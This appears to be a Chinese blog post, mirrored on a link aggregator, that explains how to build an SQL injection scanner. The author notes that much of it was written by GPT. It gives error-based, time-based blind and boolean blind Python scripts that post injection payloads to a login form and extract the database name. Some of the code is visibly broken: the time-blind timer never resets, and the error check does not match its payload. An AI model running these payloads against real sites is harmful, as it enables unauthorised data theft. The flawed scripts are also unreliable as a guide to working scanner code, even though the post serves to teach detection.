9

[安全开发] SQL注入扫描(一股子GPT味~) - 春告鳥

 1 year ago
source link: https://www.cnblogs.com/Cl0ud/p/17419584.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

[安全开发] SQL注入扫描(一股子GPT味~)

实际上大部分都是它写的,它真我哭

SQL注入扫描就是一种用于检测和预防SQL注入攻击的工具。它通过模拟SQL注入攻击的方式,向目标网站发送特定的SQL查询语句,以验证目标网站是否存在SQL注入漏洞。SQL注入扫描的过程通常分为以下几个步骤:

  1. 收集信息:扫描器会首先向目标网站发送各种类型的请求,例如HTTP GET、POST等,以获取目标网站的响应,进而收集关于目标网站的信息。
  2. 发现漏洞:扫描器会尝试使用各种常见的SQL注入技巧来探测目标网站是否存在SQL注入漏洞。例如,它会向目标网站发送一些特定的字符,以验证是否存在对输入数据进行检查的措施。
  3. 验证漏洞:如果扫描器成功地发现了SQL注入漏洞,它会尝试利用该漏洞来验证其有效性。例如,它会发送一些恶意的SQL查询语句,以查看是否能够成功地从目标网站的数据库中提取数据。
  4. 报告结果:扫描器会将其扫描结果整理成报告,包括发现的漏洞类型、漏洞的位置、漏洞的影响程度等信息。

总的来说,SQL注入扫描可以帮助网站管理员及时检测和预防SQL注入攻击,从而保护网站和数据库的安全。

下面分别描述这四部分

为什么我们要收集信息?

比如说我们对于http://www.example.com/网站进行扫描,就要先使用爬虫获取扫描目标,没有扫描目标的话,直接对着http://www.example.com/怼,能够扫出漏洞我愿意称之为天选之子。

假设现在收集到了1000个网址,包含了:

如果你是一个渗透测试工程师,你第一反应是检测哪个网址?

So,这也是我们脚本需要实现的东西

不可能每个网址都扫描一遍吧,恰好我们有100个验证SQL注入的POC,那么就需要发送1000*100个包,这对该网站是一个噩梦,当然也有可能刚开始扫就被防火墙给拦截了,或者很多东西都是错误网址,浪费了扫描器的时间

所以我们需要在收集信息这一步将一些干扰信息排除掉,具体来说,需要分析目标网站的响应数据,包括响应头、响应体、响应码等信息,以获取目标网站的状态和特征等

发现漏洞&验证漏洞

这里其实是POC和EXP的区别,这里我们统一用POC来解释

我们根据SQL注入的不同类型来编写SQL注入的检测脚本,因为这里的分类因人而异,这里只进行前三中的安全开发扫描简述

  • 宽字节注入

报错注入检测脚本

报错注入是一种常见的SQL注入技术,其基本原理是通过构造恶意的SQL查询语句,使目标网站返回错误信息,从而获得有关目标数据库的敏感信息

它的检测关键点在于回显需要有报错信息,在下面的脚本中报错回显是

"You have an error in your SQL syntax"

使用python编写一个实例脚本



import requests

# 定义目标网站URL和注入参数 target_url = 'http://www.example.com/login.php' injection_param = 'username'

# 构造注入语句 injection_payload = "' or 1=1 union select 1,2,3,4,5,6,7,8,9,10 from information_schema.tables where table_schema=database()-- "

# 发送恶意请求 payload = {injection_param: injection_payload} response = requests.post(target_url, data=payload)

# 分析响应并检测是否存在SQL注入漏洞 if "You have an error in your SQL syntax" in response.text: print("SQL注入漏洞存在") else: print("SQL注入漏洞不存在")

时间盲注检测脚本

时间盲注,最重要的就是时间



import requests import time

# 定义目标网站URL和注入参数 target_url = 'http://www.example.com/login.php' injection_param = 'username'

# 构造注入语句 injection_payload = "' or if(substr(database(),{pos},1)='{char}', sleep(5), null)-- "

# 发送恶意请求并计时 start_time = time.time() for i in range(1, 20): # 假设数据库名称长度不超过20个字符 for j in range(33, 127): # ASCII码表中可见字符的范围 # 替换注入语句中的占位符 payload = {injection_param: injection_payload.format(pos=i, char=chr(j))} response = requests.post(target_url, data=payload) # 如果响应时间大于5秒,则表示猜测的字符是正确的 if time.time() - start_time > 5: print("第{}位字符为:{}".format(i, chr(j))) break else: continue break

以上脚本中,我们首先定义了目标网站的URL和注入参数,然后构造了一个注入语句,其中使用了时间盲注的技巧,使用sleep函数控制响应时间。接着,我们使用一个双重循环来猜测数据库名称中的每一个字符,如果猜测正确,则响应时间会超过5秒,从而得到正确的字符

布尔注入检测脚本

布尔注入的基本原理是通过构造恶意的SQL查询语句,使目标网站返回不同的响应结果(True或False)

这里的True和False是什么?

水无常形,需要根据情况讨论,如果我们的一个SQL注入脚本,正确的时候,是返回200状态码,失败的时候,返回404状态码,这里的对应

  • True 200
  • False 404

另一种情况,正确的时候,返回个人信息,失败的时候,返回为空,这里的对应

  • True 获得个人信息
  • False 空信息

在下面这个脚本中,Login failed为False,登录成功为True ,通过判断响应结果中是否包含“Login failed”来判断猜测是否正确



import requests

# 定义目标网站URL和注入参数 target_url = 'http://www.example.com/login.php' injection_param = 'username'

# 构造注入语句 injection_payload = "' or ascii(substr(database(),{pos},1))={char}-- "

# 猜测数据库名称的长度 for length in range(1, 20): # 假设数据库名称长度不超过20个字符 # 猜测每一位字符 database_name = '' for i in range(1, length+1): for j in range(33, 127): # ASCII码表中可见字符的范围 # 替换注入语句中的占位符 payload = {injection_param: injection_payload.format(pos=i, char=j)} response = requests.post(target_url, data=payload) # 判断响应结果是否发生变化 if 'Login failed' in response.text: break else: continue database_name += chr(j) break else: break

print("数据库名称为:", database_name)

这玩意不用我说了吧 😃

浅谈检测的优化

关于漏洞检测的优化,我觉得这东西可以写一本书,这里简单说几个抛砖引玉

在第一步我们获取到扫描目标后,我们需要进行一波过滤,可以定义一个字典 ['js','jpg','png']等等,将对应的静态后缀给过滤掉,不进入到第二步的扫描中,节省扫描时间

在时间盲注中,如果我们用国内的扫描器扫描国外的网站,可能你正常访问国外的网站,等待的时间都需要10秒,检测脚本中等待的5秒都属于正常的网络抖动,误报率会非常高,这种情况下可以先发几个包到需要检测的网站上,计算一个平均访问时间,在平均访问时间上构造盲注时间,这样来提高准确率

OK,SQL注入扫描就到这里啦,自己编写扫描脚本的时候,需要根据扫描结果来不断优化迭代,进而让脚本趋于完善,共勉

建了一个微信的安全交流群,欢迎添加我微信备注进群,一起来聊天吹水哇,以及一个会发布安全相关内容的公众号,欢迎关注 😃

加我拉你入群 黑糖安全公众号
1a1f7894a170bec207e61bf86a01592.jpg
qrcode_for_gh_cead8e1080d6_430.jpg

__EOF__


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK